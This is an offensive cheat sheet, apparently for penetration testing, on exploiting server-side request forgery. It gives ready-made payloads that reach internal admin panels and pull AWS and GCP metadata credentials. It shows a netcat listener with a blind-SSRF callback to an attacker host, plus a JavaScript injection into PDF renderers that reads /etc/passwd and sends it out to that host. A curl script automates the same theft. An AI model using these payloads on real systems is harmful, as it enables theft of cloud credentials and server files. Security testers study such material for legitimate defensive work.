Server-Side Request Forgery (SSRF)

SSRF forces the server to make HTTP (or other protocol) requests on the attacker’s behalf. The server becomes a proxy — useful for accessing internal services, cloud metadata endpoints, or local files.

Identification: Look for any parameter that fetches a remote resource — ?url=, ?image=, ?server=, ?dest=, PDF export features, webhooks, icon fetchers.

VariantDescription
Basic SSRFParameter takes a URL; redirect it to internal target
Blind SSRFServer makes the request but returns no output — detect via out-of-band callback
SSRF → LFIServer (or its PDF renderer) reads file:// URIs
SSRF → RCEChain into internal services (Redis, Elasticsearch, etc.)

Basic SSRF

Point the vulnerable parameter at an internal resource or metadata endpoint:

# Internal admin panel
http://<TARGET>/item?url=http://127.0.0.1/admin

# AWS metadata
http://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata
http://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Blind SSRF Detection

If the response gives nothing back, confirm the request fires via a callback:

# Start listener
nc -lvnp 8080

# Inject callback URL into the vulnerable parameter
curl "http://<TARGET>/webhook?url=http://<ATTACKER_IP>:8080/ping"

Use Burp Collaborator or interactsh for DNS-based OOB confirmation.

SSRF → LFI via HTML Injection in PDF

When an app generates PDFs from user input using a headless browser (wkhtmltopdf, Puppeteer, Chrome headless), injecting JavaScript into the input causes the renderer to execute it. The script can read file:// URIs and exfiltrate content back to the attacker.

Identification: Submit a field and download the resulting PDF — if your input renders as HTML (not escaped), the renderer is likely vulnerable.

Inject into the vulnerable input field (e.g., a tracker or name field that ends up in the PDF):

while true; do nc -lvnp 8080; done

# Into vulnerable field
<script>
x=new XMLHttpRequest;
x.onload=function(){document.location='http://<ATTACKER_IP>:8080?c='+btoa(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>

Automate with curl

URL-encode the payload and POST it directly:

while true; do nc -lvnp 8080; done

PAYLOAD='<script>x=new XMLHttpRequest;x.onload=function(){document.location="http://<ATTACKER_IP>:8080?c="+btoa(this.responseText)};x.open("GET","file:///<FILE>");x.send();</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
curl 'http://<TARGET>/' \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw "insert=Track+Now&handle=${ENCODED}"

NOTE: Some PDF renderers block file:// access by default. If the payload fires but returns empty, try /proc/self/environ, /etc/hosts, or app config files as alternative targets.